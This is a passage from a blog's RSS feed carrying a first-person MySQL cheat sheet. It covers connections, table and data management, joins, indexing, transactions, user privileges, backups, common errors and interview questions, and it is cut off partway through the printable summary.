<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-wireshark-commands-cheat-sheet/">Ultimate Wireshark Commands Cheat Sheet: Network Analysis and Packet Capture Reference</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://awjunaid.com/cheatsheet/ultimate-wireshark-commands-cheat-sheet/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6007</post-id>	</item>
		<item>
		<title>Ultimate MySQL Commands Cheat Sheet: Database Management and Query Reference</title>
		<link>https://awjunaid.com/cheatsheet/ultimate-mysql-commands-cheat-sheet/</link>
					<comments>https://awjunaid.com/cheatsheet/ultimate-mysql-commands-cheat-sheet/?noamp=mobile#respond</comments>
		
		<dc:creator><![CDATA[Abdul Wahab Junaid]]></dc:creator>
		<pubDate>Thu, 21 Sep 2023 06:35:18 +0000</pubDate>
				<category><![CDATA[Cheatsheet]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<guid isPermaLink="false">https://awjunaid.com/?p=6002</guid>

					<description><![CDATA[<p>I&#8217;ve been working with MySQL for years now, and if there&#8217;s one thing I&#8217;ve learned, it&#8217;s that nobody&#8230;</p>
<p>The post <a href="https://awjunaid.com/cheatsheet/ultimate-mysql-commands-cheat-sheet/">Ultimate MySQL Commands Cheat Sheet: Database Management and Query Reference</a> appeared first on <a href="https://awjunaid.com">Abdul Wahab Junaid</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">I&#8217;ve been working with MySQL for years now, and if there&#8217;s one thing I&#8217;ve learned, it&#8217;s that nobody actually memorizes every command. Even after writing thousands of queries, I still find myself pausing to double-check syntax for a <code>JOIN</code> clause or a window function I don&#8217;t use every day. So I finally sat down and put together the cheat sheet I wish I&#8217;d had when I started — the one I actually keep open in a browser tab while I work.</p>



<p class="wp-block-paragraph">This isn&#8217;t a textbook. It&#8217;s a reference. I&#8217;ve organized it so you can jump straight to the section you need, copy the syntax, adjust it, and get back to work. Whether you&#8217;re a backend developer, a data analyst, a DBA, or someone prepping for an interview, this guide covers the commands you&#8217;ll reach for daily and the edge cases that trip people up.</p>



<p class="wp-block-paragraph">Let&#8217;s get into it.</p>



<h2 class="wp-block-heading">Table of Contents</h2>



<ol class="wp-block-list">
<li>Getting Started: Connecting to MySQL</li>



<li>Database Management Commands</li>



<li>Table Management Commands</li>



<li>Data Types Reference</li>



<li>CRUD Operations: Insert, Select, Update, Delete</li>



<li>Filtering and Sorting Data</li>



<li>Joins Explained with Examples</li>



<li>Aggregate Functions and Grouping</li>



<li>Subqueries and Common Table Expressions</li>



<li>Indexes and Performance</li>



<li>Views, Stored Procedures, and Triggers</li>



<li>Transactions and Locking</li>



<li>User Management and Security</li>



<li>Backup and Restore</li>



<li>Troubleshooting Common Errors</li>



<li>Best Practices</li>



<li>Real-World Use Cases</li>



<li>Frequently Asked Questions</li>



<li>Common Mistakes to Avoid</li>



<li>Interview Questions</li>



<li>Printable Quick-Reference Summary</li>



<li>Official Documentation Links</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">1. Getting Started: Connecting to MySQL</h2>



<p class="wp-block-paragraph">Before you can run a single query, you need to connect. I still use the command line for quick tasks even though I have GUI tools installed, because it&#8217;s faster once your fingers know the commands.</p>



<pre class="wp-block-code"><code># Connect as root, prompted for password
mysql -u root -p

# Connect to a specific host and port
mysql -h 127.0.0.1 -P 3306 -u myuser -p

# Connect directly to a database
mysql -u myuser -p mydatabase

# Run a single query from the terminal without entering the shell
mysql -u myuser -p -e "SHOW DATABASES;"
</code></pre>



<p class="wp-block-paragraph">Once you&#8217;re inside the MySQL shell, you&#8217;ll see a prompt like <code>mysql&gt;</code>. From here, every command (except a few shell helpers) needs to end with a semicolon.</p>



<pre class="wp-block-code"><code>-- Check your MySQL version
SELECT VERSION();

-- Check current user
SELECT CURRENT_USER();

-- Check which database you're using
SELECT DATABASE();

-- Exit the shell
EXIT;
-- or
QUIT;
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">2. Database Management Commands</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Task</th><th>Command</th></tr></thead><tbody><tr><td>List all databases</td><td><code>SHOW DATABASES;</code></td></tr><tr><td>Create a new database</td><td><code>CREATE DATABASE dbname;</code></td></tr><tr><td>Create only if it doesn&#8217;t exist</td><td><code>CREATE DATABASE IF NOT EXISTS dbname;</code></td></tr><tr><td>Switch to a database</td><td><code>USE dbname;</code></td></tr><tr><td>Delete a database</td><td><code>DROP DATABASE dbname;</code></td></tr><tr><td>Delete safely</td><td><code>DROP DATABASE IF EXISTS dbname;</code></td></tr><tr><td>Show current database</td><td><code>SELECT DATABASE();</code></td></tr><tr><td>Show database creation statement</td><td><code>SHOW CREATE DATABASE dbname;</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">A quick example I use when spinning up a new project:</p>



<pre class="wp-block-code"><code>CREATE DATABASE IF NOT EXISTS ecommerce_app
CHARACTER SET utf8mb4
COLLATE utf8mb4_unicode_ci;

USE ecommerce_app;
</code></pre>



<p class="wp-block-paragraph">I always specify <code>utf8mb4</code> explicitly. The default charset on older MySQL installs can still be <code>latin1</code>, and that becomes a painful migration later if you&#8217;re storing emojis, names with accents, or multilingual content.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">3. Table Management Commands</h2>



<p class="wp-block-paragraph">Creating and modifying tables is where you&#8217;ll spend a lot of your schema-design time.</p>



<pre class="wp-block-code"><code>-- Basic table creation
CREATE TABLE users (
    id INT AUTO_INCREMENT PRIMARY KEY,
    username VARCHAR(50) NOT NULL UNIQUE,
    email VARCHAR(100) NOT NULL UNIQUE,
    password_hash VARCHAR(255) NOT NULL,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
    updated_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
);
</code></pre>



<p class="wp-block-paragraph">Expected output:</p>



<pre class="wp-block-code"><code>Query OK, 0 rows affected (0.03 sec)
</code></pre>



<p class="wp-block-paragraph">Other table commands I use constantly:</p>



<pre class="wp-block-code"><code>-- List all tables in the current database
SHOW TABLES;

-- Describe a table's structure
DESCRIBE users;
-- or shorthand
DESC users;

-- Show the exact CREATE statement (great for docs or migrations)
SHOW CREATE TABLE users;

-- Rename a table
RENAME TABLE users TO app_users;

-- Delete a table permanently
DROP TABLE users;

-- Delete only if it exists
DROP TABLE IF EXISTS users;

-- Empty a table but keep the structure (fast, resets AUTO_INCREMENT)
TRUNCATE TABLE users;
</code></pre>



<h3 class="wp-block-heading">Altering Tables</h3>



<pre class="wp-block-code"><code>-- Add a column
ALTER TABLE users ADD COLUMN phone VARCHAR(20);

-- Add a column with a position
ALTER TABLE users ADD COLUMN middle_name VARCHAR(50) AFTER username;

-- Modify a column's type
ALTER TABLE users MODIFY COLUMN phone VARCHAR(30);

-- Rename a column (MySQL 8.0+)
ALTER TABLE users RENAME COLUMN phone TO phone_number;

-- Drop a column
ALTER TABLE users DROP COLUMN middle_name;

-- Add a foreign key
ALTER TABLE orders
ADD CONSTRAINT fk_user
FOREIGN KEY (user_id) REFERENCES users(id)
ON DELETE CASCADE;

-- Add an index
ALTER TABLE users ADD INDEX idx_email (email);

-- Drop an index
ALTER TABLE users DROP INDEX idx_email;
</code></pre>



<p class="wp-block-paragraph">I lean on <code>ALTER TABLE</code> constantly during early development, but on production tables with millions of rows, I always test the migration on a staging copy first — some <code>ALTER</code> operations lock the table and can take down a busy app for minutes.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">4. Data Types Reference</h2>



<p class="wp-block-paragraph">Picking the right data type matters more than people think — it affects storage size, query speed, and data integrity.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Category</th><th>Type</th><th>Notes</th></tr></thead><tbody><tr><td>Integer</td><td><code>TINYINT</code>, <code>SMALLINT</code>, <code>MEDIUMINT</code>, <code>INT</code>, <code>BIGINT</code></td><td>Use the smallest type that fits your range</td></tr><tr><td>Decimal</td><td><code>DECIMAL(M,D)</code></td><td>Exact precision — use for money</td></tr><tr><td>Float</td><td><code>FLOAT</code>, <code>DOUBLE</code></td><td>Approximate — avoid for currency</td></tr><tr><td>String</td><td><code>VARCHAR(n)</code>, <code>CHAR(n)</code></td><td><code>VARCHAR</code> for variable length, <code>CHAR</code> for fixed</td></tr><tr><td>Text</td><td><code>TEXT</code>, <code>MEDIUMTEXT</code>, <code>LONGTEXT</code></td><td>For large blocks of text</td></tr><tr><td>Binary</td><td><code>BLOB</code>, <code>MEDIUMBLOB</code>, <code>LONGBLOB</code></td><td>For binary data like files</td></tr><tr><td>Date/Time</td><td><code>DATE</code>, <code>DATETIME</code>, <code>TIMESTAMP</code>, <code>TIME</code>, <code>YEAR</code></td><td><code>TIMESTAMP</code> is timezone-aware, <code>DATETIME</code> is not</td></tr><tr><td>Boolean</td><td><code>BOOLEAN</code> (alias for <code>TINYINT(1)</code>)</td><td>Stores 0 or 1</td></tr><tr><td>JSON</td><td><code>JSON</code></td><td>Native JSON support since MySQL 5.7</td></tr><tr><td>Enum</td><td><code>ENUM('a','b','c')</code></td><td>Restricts values to a fixed list</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">A note from experience: I default to <code>DECIMAL(10,2)</code> for any money field. I learned the hard way that <code>FLOAT</code> rounding errors can silently corrupt financial totals.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">5. CRUD Operations: Insert, Select, Update, Delete</h2>



<h3 class="wp-block-heading">Insert</h3>



<pre class="wp-block-code"><code>-- Insert a single row
INSERT INTO users (username, email, password_hash)
VALUES ('johndoe', 'john@example.com', 'hashed_pw_here');

-- Insert multiple rows in one statement
INSERT INTO users (username, email, password_hash) VALUES
('alice', 'alice@example.com', 'hash1'),
('bob', 'bob@example.com', 'hash2'),
('carol', 'carol@example.com', 'hash3');

-- Insert or update if duplicate key exists
INSERT INTO users (id, username, email, password_hash)
VALUES (1, 'johndoe', 'john@example.com', 'hash')
ON DUPLICATE KEY UPDATE email = VALUES(email);
</code></pre>



<p class="wp-block-paragraph">Expected output:</p>



<pre class="wp-block-code"><code>Query OK, 1 row affected (0.01 sec)
</code></pre>



<h3 class="wp-block-heading">Select</h3>



<pre class="wp-block-code"><code>-- Select everything (avoid in production code, be explicit)
SELECT * FROM users;

-- Select specific columns
SELECT username, email FROM users;

-- Select with alias
SELECT username AS name, email AS contact FROM users;

-- Distinct values
SELECT DISTINCT country FROM users;

-- Limit results
SELECT * FROM users LIMIT 10;

-- Pagination
SELECT * FROM users LIMIT 10 OFFSET 20;
</code></pre>



<h3 class="wp-block-heading">Update</h3>



<pre class="wp-block-code"><code>-- Update matching rows
UPDATE users
SET email = 'newemail@example.com'
WHERE id = 1;

-- Update multiple columns
UPDATE users
SET email = 'new@example.com', updated_at = NOW()
WHERE username = 'johndoe';
</code></pre>



<p class="wp-block-paragraph">I always write the <code>WHERE</code> clause first in my head before typing <code>UPDATE</code>. Running an update without a <code>WHERE</code> clause updates every row in the table — I&#8217;ve seen this happen to a teammate on a production database, and it&#8217;s not fun to fix at 2 a.m.</p>



<h3 class="wp-block-heading">Delete</h3>



<pre class="wp-block-code"><code>-- Delete specific rows
DELETE FROM users WHERE id = 5;

-- Delete with a condition on a joined table
DELETE u FROM users u
JOIN inactive_flags f ON u.id = f.user_id
WHERE f.flagged = 1;

-- Delete everything (dangerous, use TRUNCATE instead if intentional)
DELETE FROM users;
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">6. Filtering and Sorting Data</h2>



<pre class="wp-block-code"><code>-- Basic WHERE
SELECT * FROM orders WHERE status = 'shipped';

-- Multiple conditions
SELECT * FROM orders WHERE status = 'shipped' AND total &gt; 100;

-- OR conditions
SELECT * FROM orders WHERE status = 'shipped' OR status = 'delivered';

-- IN operator
SELECT * FROM orders WHERE status IN ('shipped', 'delivered', 'processing');

-- BETWEEN
SELECT * FROM orders WHERE total BETWEEN 50 AND 200;

-- LIKE pattern matching
SELECT * FROM users WHERE email LIKE '%@gmail.com';
SELECT * FROM users WHERE username LIKE 'j%';

-- NULL checks
SELECT * FROM users WHERE phone IS NULL;
SELECT * FROM users WHERE phone IS NOT NULL;

-- Sorting
SELECT * FROM orders ORDER BY created_at DESC;
SELECT * FROM orders ORDER BY total ASC, created_at DESC;
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">7. Joins Explained with Examples</h2>



<p class="wp-block-paragraph">Joins confuse people early on, so I like to think of them visually: you&#8217;re combining rows from two or more tables based on a related column.</p>



<pre class="wp-block-code"><code>-- INNER JOIN: only matching rows from both tables
SELECT o.id, u.username, o.total
FROM orders o
INNER JOIN users u ON o.user_id = u.id;

-- LEFT JOIN: all rows from the left table, matched rows from the right
SELECT u.username, o.id AS order_id
FROM users u
LEFT JOIN orders o ON u.id = o.user_id;

-- RIGHT JOIN: all rows from the right table
SELECT u.username, o.id AS order_id
FROM users u
RIGHT JOIN orders o ON u.id = o.user_id;

-- FULL OUTER JOIN (MySQL doesn't support this directly — simulate with UNION)
SELECT u.username, o.id
FROM users u LEFT JOIN orders o ON u.id = o.user_id
UNION
SELECT u.username, o.id
FROM users u RIGHT JOIN orders o ON u.id = o.user_id;

-- SELF JOIN: joining a table to itself
SELECT e.name AS employee, m.name AS manager
FROM employees e
JOIN employees m ON e.manager_id = m.id;

-- CROSS JOIN: every combination of rows
SELECT colors.name, sizes.name
FROM colors CROSS JOIN sizes;
</code></pre>



<p class="wp-block-paragraph">I use <code>LEFT JOIN</code> far more often than <code>INNER JOIN</code> in reporting queries, because I usually want to see everything from the &#8220;main&#8221; table even when there&#8217;s no match — like showing every user even if they haven&#8217;t placed an order yet.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">8. Aggregate Functions and Grouping</h2>



<pre class="wp-block-code"><code>SELECT COUNT(*) FROM orders;
SELECT SUM(total) FROM orders;
SELECT AVG(total) FROM orders;
SELECT MIN(total), MAX(total) FROM orders;

-- Group by with aggregates
SELECT user_id, COUNT(*) AS order_count, SUM(total) AS total_spent
FROM orders
GROUP BY user_id;

-- Filter groups with HAVING (not WHERE)
SELECT user_id, SUM(total) AS total_spent
FROM orders
GROUP BY user_id
HAVING total_spent &gt; 500;

-- Group by multiple columns
SELECT status, DATE(created_at) AS order_date, COUNT(*) AS total
FROM orders
GROUP BY status, DATE(created_at);
</code></pre>



<p class="wp-block-paragraph">A distinction that trips up a lot of beginners: <code>WHERE</code> filters rows before grouping, <code>HAVING</code> filters groups after aggregation. You can&#8217;t use an aggregate function like <code>SUM()</code> inside <code>WHERE</code>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">9. Subqueries and Common Table Expressions</h2>



<pre class="wp-block-code"><code>-- Subquery in WHERE
SELECT username FROM users
WHERE id IN (SELECT user_id FROM orders WHERE total &gt; 1000);

-- Subquery in SELECT
SELECT username,
       (SELECT COUNT(*) FROM orders WHERE orders.user_id = users.id) AS order_count
FROM users;

-- Correlated subquery
SELECT * FROM orders o
WHERE total &gt; (SELECT AVG(total) FROM orders WHERE user_id = o.user_id);

-- Common Table Expression (CTE) — MySQL 8.0+
WITH high_value_orders AS (
    SELECT user_id, SUM(total) AS total_spent
    FROM orders
    GROUP BY user_id
    HAVING SUM(total) &gt; 1000
)
SELECT u.username, h.total_spent
FROM users u
JOIN high_value_orders h ON u.id = h.user_id;

-- Recursive CTE (great for hierarchical data like org charts)
WITH RECURSIVE subordinates AS (
    SELECT id, name, manager_id FROM employees WHERE id = 1
    UNION ALL
    SELECT e.id, e.name, e.manager_id
    FROM employees e
    JOIN subordinates s ON e.manager_id = s.id
)
SELECT * FROM subordinates;
</code></pre>



<p class="wp-block-paragraph">CTEs made a real difference for me once MySQL 8.0 rolled out. Before that, I was nesting subqueries three levels deep and it was miserable to debug. Now I write the logical steps top to bottom and it reads almost like a story.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">10. Indexes and Performance</h2>



<pre class="wp-block-code"><code>-- Create a basic index
CREATE INDEX idx_username ON users(username);

-- Composite index (order matters)
CREATE INDEX idx_status_date ON orders(status, created_at);

-- Unique index
CREATE UNIQUE INDEX idx_email ON users(email);

-- Full-text index (for text search)
CREATE FULLTEXT INDEX idx_content ON articles(content);

-- Show indexes on a table
SHOW INDEX FROM users;

-- Drop an index
DROP INDEX idx_username ON users;

-- Analyze a query's execution plan
EXPLAIN SELECT * FROM orders WHERE status = 'shipped';

-- More detailed analysis (MySQL 8.0.18+)
EXPLAIN ANALYZE SELECT * FROM orders WHERE status = 'shipped';
</code></pre>



<p class="wp-block-paragraph">My rule of thumb: index columns you filter (<code>WHERE</code>), join (<code>ON</code>), or sort (<code>ORDER BY</code>) on frequently. Don&#8217;t over-index — every index speeds up reads but slows down writes, since MySQL has to update the index on every <code>INSERT</code>, <code>UPDATE</code>, or <code>DELETE</code>.</p>



<p class="wp-block-paragraph">Other performance habits I stick to:</p>



<ul class="wp-block-list">
<li>Avoid <code>SELECT *</code> in application code — fetch only the columns you need.</li>



<li>Use <code>LIMIT</code> when you don&#8217;t need the full result set.</li>



<li>Batch large <code>INSERT</code> operations instead of looping one row at a time.</li>



<li>Watch out for functions on indexed columns in <code>WHERE</code> clauses (e.g., <code>WHERE YEAR(created_at) = 2024</code>) — they prevent MySQL from using the index.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">11. Views, Stored Procedures, and Triggers</h2>



<pre class="wp-block-code"><code>-- Create a view
CREATE VIEW active_users AS
SELECT id, username, email FROM users WHERE status = 'active';

-- Query a view like a table
SELECT * FROM active_users;

-- Drop a view
DROP VIEW active_users;

-- Stored procedure
DELIMITER //
CREATE PROCEDURE GetUserOrders(IN userId INT)
BEGIN
    SELECT * FROM orders WHERE user_id = userId;
END //
DELIMITER ;

-- Call it
CALL GetUserOrders(5);

-- Trigger example
DELIMITER //
CREATE TRIGGER before_order_insert
BEFORE INSERT ON orders
FOR EACH ROW
BEGIN
    SET NEW.created_at = NOW();
END //
DELIMITER ;

-- Drop a procedure or trigger
DROP PROCEDURE IF EXISTS GetUserOrders;
DROP TRIGGER IF EXISTS before_order_insert;
</code></pre>



<p class="wp-block-paragraph">I reach for views mostly to simplify reporting queries that get reused across a dashboard. Stored procedures I use more sparingly now — they&#8217;re powerful, but they push logic into the database layer, which can make version control and testing harder for a team used to application-side code.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">12. Transactions and Locking</h2>



<pre class="wp-block-code"><code>-- Start a transaction
START TRANSACTION;

UPDATE accounts SET balance = balance - 100 WHERE id = 1;
UPDATE accounts SET balance = balance + 100 WHERE id = 2;

-- Commit if everything succeeded
COMMIT;

-- Roll back if something went wrong
ROLLBACK;

-- Set isolation level
SET TRANSACTION ISOLATION LEVEL READ COMMITTED;

-- Lock a table explicitly
LOCK TABLES accounts WRITE;
-- ... do work ...
UNLOCK TABLES;
</code></pre>



<p class="wp-block-paragraph">Transactions are non-negotiable for anything involving money or multi-step data changes. I never write a multi-table update without wrapping it in <code>START TRANSACTION</code> / <code>COMMIT</code>, because a crash halfway through can leave your data in an inconsistent state otherwise.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">13. User Management and Security</h2>



<pre class="wp-block-code"><code>-- Create a new user
CREATE USER 'appuser'@'localhost' IDENTIFIED BY 'StrongPassword123!';

-- Grant specific privileges
GRANT SELECT, INSERT, UPDATE ON ecommerce_app.* TO 'appuser'@'localhost';

-- Grant all privileges (use sparingly)
GRANT ALL PRIVILEGES ON ecommerce_app.* TO 'admin_user'@'localhost';

-- Apply privilege changes
FLUSH PRIVILEGES;

-- Show a user's privileges
SHOW GRANTS FOR 'appuser'@'localhost';

-- Revoke privileges
REVOKE INSERT ON ecommerce_app.* FROM 'appuser'@'localhost';

-- Change a user's password
ALTER USER 'appuser'@'localhost' IDENTIFIED BY 'NewStrongerPassword456!';

-- Delete a user
DROP USER 'appuser'@'localhost';
</code></pre>



<p class="wp-block-paragraph"><strong>Security tips I follow on every project:</strong></p>



<ul class="wp-block-list">
<li>Never connect your application with the <code>root</code> account.</li>



<li>Use least-privilege grants — give each app user only what it needs.</li>



<li>Always use parameterized queries or prepared statements in application code to prevent SQL injection. Never concatenate raw user input into a query string.</li>



<li>Rotate passwords and audit <code>SHOW GRANTS</code> output periodically.</li>



<li>Restrict remote root login (<code>root@'%'</code>) — bind it to <code>localhost</code> unless you have a specific reason not to.</li>



<li>Enable SSL/TLS for connections over untrusted networks.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">14. Backup and Restore</h2>



<pre class="wp-block-code"><code># Backup a single database
mysqldump -u root -p ecommerce_app &gt; backup.sql

# Backup all databases
mysqldump -u root -p --all-databases &gt; full_backup.sql

# Backup a specific table
mysqldump -u root -p ecommerce_app users &gt; users_backup.sql

# Restore from a backup file
mysql -u root -p ecommerce_app &lt; backup.sql

# Backup with compression
mysqldump -u root -p ecommerce_app | gzip &gt; backup.sql.gz

# Restore a compressed backup
gunzip &lt; backup.sql.gz | mysql -u root -p ecommerce_app
</code></pre>



<p class="wp-block-paragraph">I schedule automated <code>mysqldump</code> backups on a cron job for smaller projects, and for larger production systems I pair logical backups with binary log replication so I can do point-in-time recovery if needed.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">15. Troubleshooting Common Errors</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Error</th><th>Likely Cause</th><th>Fix</th></tr></thead><tbody><tr><td><code>ERROR 1045: Access denied for user</code></td><td>Wrong username/password</td><td>Double-check credentials, reset password if needed</td></tr><tr><td><code>ERROR 1049: Unknown database</code></td><td>Database doesn&#8217;t exist or typo</td><td><code>SHOW DATABASES;</code> to confirm the name</td></tr><tr><td><code>ERROR 1062: Duplicate entry</code></td><td>Violates a unique constraint</td><td>Check existing data or use <code>ON DUPLICATE KEY UPDATE</code></td></tr><tr><td><code>ERROR 1064: SQL syntax error</code></td><td>Typo or wrong keyword order</td><td>Read the error position carefully, check quotes and commas</td></tr><tr><td><code>ERROR 1146: Table doesn't exist</code></td><td>Wrong table name or wrong database selected</td><td>Run <code>USE dbname;</code> and <code>SHOW TABLES;</code></td></tr><tr><td><code>ERROR 1215: Cannot add foreign key constraint</code></td><td>Column types mismatch or missing index</td><td>Ensure both columns have the same type and the referenced column is indexed</td></tr><tr><td><code>ERROR 2002: Can't connect to local MySQL server</code></td><td>MySQL service isn&#8217;t running</td><td>Start the service (<code>sudo service mysql start</code>)</td></tr><tr><td><code>ERROR 1698: Access denied for user 'root'@'localhost'</code></td><td>Auth plugin mismatch</td><td>Use <code>ALTER USER</code> to set <code>mysql_native_password</code> or reset via safe mode</td></tr><tr><td>Table is <code>Lock wait timeout exceeded</code></td><td>Long-running transaction holding a lock</td><td>Find and kill the blocking query with <code>SHOW PROCESSLIST;</code></td></tr></tbody></table></figure>



<pre class="wp-block-code"><code>-- Find what's currently running (helpful for locks/slow queries)
SHOW PROCESSLIST;

-- Kill a specific process
KILL 1234;

-- Check for slow queries
SHOW VARIABLES LIKE 'slow_query_log';
SHOW VARIABLES LIKE 'long_query_time';
</code></pre>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">16. Best Practices</h2>



<ul class="wp-block-list">
<li>Always back up before running schema migrations on production.</li>



<li>Use <code>EXPLAIN</code> before optimizing — don&#8217;t guess at what&#8217;s slow.</li>



<li>Normalize your schema, but don&#8217;t be afraid to denormalize for read-heavy reporting tables when it makes sense.</li>



<li>Name your constraints and indexes explicitly instead of letting MySQL auto-generate names — it makes debugging error messages much easier.</li>



<li>Use <code>utf8mb4</code> for new projects, always.</li>



<li>Keep transactions short — long-running transactions hold locks and hurt concurrency.</li>



<li>Version-control your schema changes with a migration tool (Flyway, Liquibase, or a framework&#8217;s built-in migrations).</li>



<li>Set sensible <code>NOT NULL</code> and default value constraints at the database level — don&#8217;t rely solely on application code for data integrity.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">17. Real-World Use Cases</h2>



<p class="wp-block-paragraph"><strong>E-commerce order tracking:</strong> I use a <code>LEFT JOIN</code> between <code>users</code> and <code>orders</code> combined with <code>GROUP BY</code> and <code>SUM()</code> to build a &#8220;top customers by lifetime spend&#8221; report for marketing teams.</p>



<p class="wp-block-paragraph"><strong>Content search:</strong> For a blog platform, I&#8217;ve used <code>FULLTEXT</code> indexes with <code>MATCH() AGAINST()</code> to power an in-app search bar without needing a separate search engine for a small-to-medium dataset.</p>



<p class="wp-block-paragraph"><strong>Audit logging:</strong> I&#8217;ve set up <code>AFTER UPDATE</code> triggers that write old and new values into a separate <code>audit_log</code> table, which has saved me more than once when tracking down who changed what and when.</p>



<p class="wp-block-paragraph"><strong>Dashboard reporting:</strong> Views combined with scheduled <code>mysqldump</code> exports have let me hand off read-only reporting access to analysts without giving them access to the live production schema.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">18. Frequently Asked Questions</h2>



<p class="wp-block-paragraph"><strong>What&#8217;s the difference between <code>DELETE</code> and <code>TRUNCATE</code>?</strong> <code>DELETE</code> removes rows one at a time, can be filtered with <code>WHERE</code>, and can be rolled back inside a transaction. <code>TRUNCATE</code> removes all rows at once, resets <code>AUTO_INCREMENT</code>, and is generally not transaction-safe in the same way.</p>



<p class="wp-block-paragraph"><strong>What&#8217;s the difference between <code>VARCHAR</code> and <code>TEXT</code>?</strong> <code>VARCHAR</code> is stored inline with the row and has a defined max length, making it faster for indexing and sorting. <code>TEXT</code> is meant for larger content and has some storage and indexing limitations.</p>



<p class="wp-block-paragraph"><strong>How do I find duplicate rows?</strong></p>



<pre class="wp-block-code"><code>SELECT email, COUNT(*) 
FROM users 
GROUP BY email 
HAVING COUNT(*) &gt; 1;
</code></pre>



<p class="wp-block-paragraph"><strong>How do I copy a table&#8217;s structure without the data?</strong></p>



<pre class="wp-block-code"><code>CREATE TABLE users_copy LIKE users;
</code></pre>



<p class="wp-block-paragraph"><strong>How do I copy both structure and data?</strong></p>



<pre class="wp-block-code"><code>CREATE TABLE users_copy AS SELECT * FROM users;
</code></pre>



<p class="wp-block-paragraph"><strong>Why isn&#8217;t my index being used?</strong> Common reasons: a function is wrapping the indexed column in the <code>WHERE</code> clause, the column has low cardinality (like a boolean), or the optimizer decided a full scan is cheaper for a small table.</p>



<p class="wp-block-paragraph"><strong>Is MySQL case-sensitive?</strong> Table names can be case-sensitive depending on the OS and filesystem. String comparisons depend on the collation — <code>utf8mb4_general_ci</code> is case-insensitive, while a <code>_bin</code> collation is case-sensitive.</p>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">19. Common Mistakes to Avoid</h2>



<ul class="wp-block-list">
<li>Running <code>UPDATE</code> or <code>DELETE</code> without a <code>WHERE</code> clause.</li>



<li>Storing passwords in plain text instead of using a proper hashing algorithm at the application layer.</li>



<li>Using <code>FLOAT</code> for currency values.</li>



<li>Forgetting to index foreign key columns.</li>



<li>Overusing <code>SELECT *</code> in production code.</li>



<li>Not setting a character set/collation explicitly and inheriting inconsistent defaults across tables.</li>



<li>Ignoring <code>EXPLAIN</code> output and guessing at performance fixes.</li>



<li>Leaving the default <code>root</code> account accessible remotely.</li>



<li>Mixing business logic heavily into triggers, making the system hard to reason about.</li>
</ul>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">20. Interview Questions</h2>



<ol class="wp-block-list">
<li>What&#8217;s the difference between <code>INNER JOIN</code> and <code>LEFT JOIN</code>?</li>



<li>Explain ACID properties in the context of MySQL transactions.</li>



<li>What&#8217;s the difference between a clustered and non-clustered index? Does InnoDB use clustered indexes?</li>



<li>How would you optimize a slow query?</li>



<li>What&#8217;s the difference between <code>HAVING</code> and <code>WHERE</code>?</li>



<li>Explain normalization and name the first three normal forms.</li>



<li>What&#8217;s the difference between <code>CHAR</code> and <code>VARCHAR</code>?</li>



<li>How does a <code>FOREIGN KEY</code> constraint with <code>ON DELETE CASCADE</code> behave?</li>



<li>What isolation levels does MySQL support, and what&#8217;s the default for InnoDB?</li>



<li>How would you design a schema for a many-to-many relationship?</li>



<li>What&#8217;s the difference between <code>COMMIT</code> and <code>ROLLBACK</code>?</li>



<li>How do you prevent SQL injection in application code?</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading">21. Printable Quick-Reference Summary</h2>



<pre class="wp-block-code"><code>DATABASES        CREATE DATABASE db; DROP DATABASE db; USE db; SHOW DATABASES;
TABLES           CREATE TABLE t (...); DROP TABLE t; DESCRIBE t; SHOW TABLES;
ALTER            ALTER TABLE t ADD/DROP/MODIFY COLUMN ...;
INSERT           INSERT INTO t (cols) VALUES (...);
SELECT           SELECT cols FROM t WHERE ... ORDER BY ... LIMIT ...;
UPDATE           UPDATE t SET col = val WHERE ...;
DELETE           DELETE FROM t WHERE ...;
JOINS            INNER JOIN / LEFT JOIN / RIGHT JOIN / CROSS JOIN ... ON ...;
AGGREGATE        COUNT() SUM() AVG() MIN() MAX() ... GROUP BY ... HAVING ...;
